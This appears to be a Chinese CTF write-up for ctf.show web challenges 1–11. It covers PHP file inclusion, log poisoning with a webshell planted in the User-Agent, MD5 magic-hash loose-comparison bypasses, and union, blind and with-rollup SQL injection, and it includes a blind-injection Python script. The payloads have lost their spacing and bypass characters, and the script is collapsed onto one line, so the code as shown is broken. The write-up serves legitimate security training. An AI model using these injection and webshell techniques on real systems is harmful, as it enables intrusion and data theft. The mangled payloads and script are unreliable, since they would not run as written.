web1
源码
web2
最基本的sql注入
web3
考点:php伪协议
ctf.show_web3<?php include($_GET['url']);?>
文件包含漏洞,使用php伪协议探测
php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,enctype=multipart/form-data"时,php://input将会无效
然后使用文件包含
web4
考点:日志注入
web3的升级,过滤了php伪协议,使用日志注入
访问/var/log/nginx/access.log
可以查看到我们输入的参数记录
在user-agent种写入一句话木马
因为日志文件中的代码会被执行。
然后用蚁剑连接(连接目标:http://xxx/?url=/var/log/nginx/access.log)在www目录下找到flag.txt
web5
考点:php代码审计
$flag=""; $v1=$_GET['v1']; $v2=$_GET['v2']; if(isset($v1) && isset($v2)){ if(!ctype_alpha($v1)){ die("v1 error"); } if(!is_numeric($v2)){ die("v2 error"); } if(md5($v1)==md5($v2)){ echo $flag; } }else{ echo "where is flag?"; } ?>
ctype_alpha用来检测是否只含有字符,不是则为false
is_numeric用于检测是否是纯数字
绕过方法:如果是以数字开头的字符串,使用is_numeric的时候会自动去掉后面的字符,将其前面的数字取出来判断
eg:a=1234abc在is_numeric判断时会当做1234
最后一个if是php的弱等于
弱等于判断的时候,如果两边的类型不同,则先是将类型转换成相同的,再进行比较
MD5弱等于绕过:有些字符md5后的值为0e开头,会被当做科学计数法,也就是0.所以当找到2个字符md5后的值都为0e开头时即可绕过
常用的值:
开头为0E(MD5值) 字母数字混合类型:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
纯大写字母:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
纯数字:
240610708
0e462097431906509019562988736854
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412
任意使用2个即可
web6
web2的升级版,做了过滤
fuzz一下
发现空格被过滤了
绕过方法:内联注释, %a0等
参考:SQL注入一些过滤及绕过总结
这里使用进行绕过
数据库名:-1'unionselect1,database(),3#
表名:-1'unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema=database()#
字段名:-1'unionselect1,group_concat(column_name),3frominformation_schema.columnswheretable_name='flag'#
查flag内容:-1'unionselect1,flag,3fromflag#
web7
与we6相同
考点:sql注入 注入点的寻找
看到形如?id=1这样的就联想到sql注入
永真式测试:
存在sql注入但是被过滤了。fuzz一下和web6一样依然是过滤空格
绕过参考第6题,使用
寻找回显点:-1'unionselect1,2,3#
回显点:2,3
后面和web6一样
web8
考点:sql盲注
依旧是sql注入,fuzz一波先
单引号、空格、union、逗号等被过滤了
猜测是数字型注入
测试:?id=1or1=1#
回显全部
-1or1=2#
无回显
考虑盲注
注意:逗号被过滤了,substr中可以用from for 来绕过,单引号被过滤了,表名可以用十六进制来表示
脚本:
import requeststarget = "http://83f0f603-456d-4fd9-8c36-6c452e42c2b4.challenge.ctf.show/index.php?id=-1or"result = ''for i in range(1,128): #database_payload = "ascii(substr(database()from%dfor1))=%d#" #获取数据库名 #table_payload = "ascii(substr((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database())from%dfor1))=%d" #column_payload = "ascii(substr((selectgroup_concat(column_name)frominformation_schema.columnswheretable_name=0x666c6167)from%dfor1))=%d" flag_payload = "ascii(substr((selectflagfromflag)from%dfor1))=%d" count = 0 for j in range(31,128): r = requests.get(url=target+flag_payload % (i,j)) #自行切换payload if "If" in r.text: #返回true的页面存在If result += chr(j) print("result:%s" % result) break count += 1 if count >= 97: #字符不存在,循环结束 exit()
web9
考点:MD5加密
登录页,尝试sql注入无果,以为是弱口令,也没爆破出来
不知道做什么的时候就扫扫目录试试。发现robots.txt文件
访问
访问index.phps,下载源码:
$flag="";$password=$_POST['password'];if(strlen($password)>10){die("password error");}$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){ echo "登陆成功
"; echo $flag; }} ?>
漏洞点:select * from user where username ='admin' and password ='".md5($password,true)."'
md5()函数
当参数为true时,返回的是字符二进制格式
漏洞利用字符:ffifdyop
经过参数为true的md5加密后为:'or'6xxx
因此拼接到sql语句中就是select * from user where username ='admin' and password =''or'6xxx'
非0数字在or后面被当做true,故满足条件
web10
考点:sql注入-with rollup
点击取消下载得到源码:
$flag=""; function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; return preg_replace($regex,"",$strParam); } if (!$con) { die('Could not connect: ' . mysqli_error()); }if(strlen($username)!=strlen(replaceSpecialChar($username))){die("sql inject error");}if(strlen($password)!=strlen(replaceSpecialChar($password))){die("sql inject error");}$sql="select * from user where username = '$username'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){if($password==$row['password']){echo "登陆成功
";echo $flag;} }} ?>
定义了过滤函数,对username和password进行过滤,然后判断输入的password是否对应根据我们输入的username从数据库中查到的密码
解题思路:with rollup注入
with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)
例如:
可以看到最后一行就是使用with rollup的效果, 增添了一行数据,对group by指定的字段为Null,其余字段进行汇总
所以我们如果使用永真式1’ or 1=1 之后会把所有的用户名和密码查出来,其中有password字段,这时我们group by password字段再with rollup就会生成一个新行,这一行的password字段为Null
while($row=mysqli_fetch_assoc($result)){if($password==$row['password']){echo "登陆成功
";echo $flag;}
经过将结果集循环遍历最后就会取出为Null的password值。这个时候只要输入框中password为空就会Null==Null
通过判断
payload:'or1=1groupbypasswordwithrollup#
web11
考点:session
function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; return preg_replace($regex,"",$strParam); } if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); } if($password==$_SESSION['password']){ echo $flag; }else{ echo "error"; } ?>
$_SESSION用于获取session中记录的值
这里是获取session中存的password的值,由于不知道session中password中的值,可以直接将其置空,然后输入也为空即可
来源地址:https://blog.csdn.net/pakho_C/article/details/127011238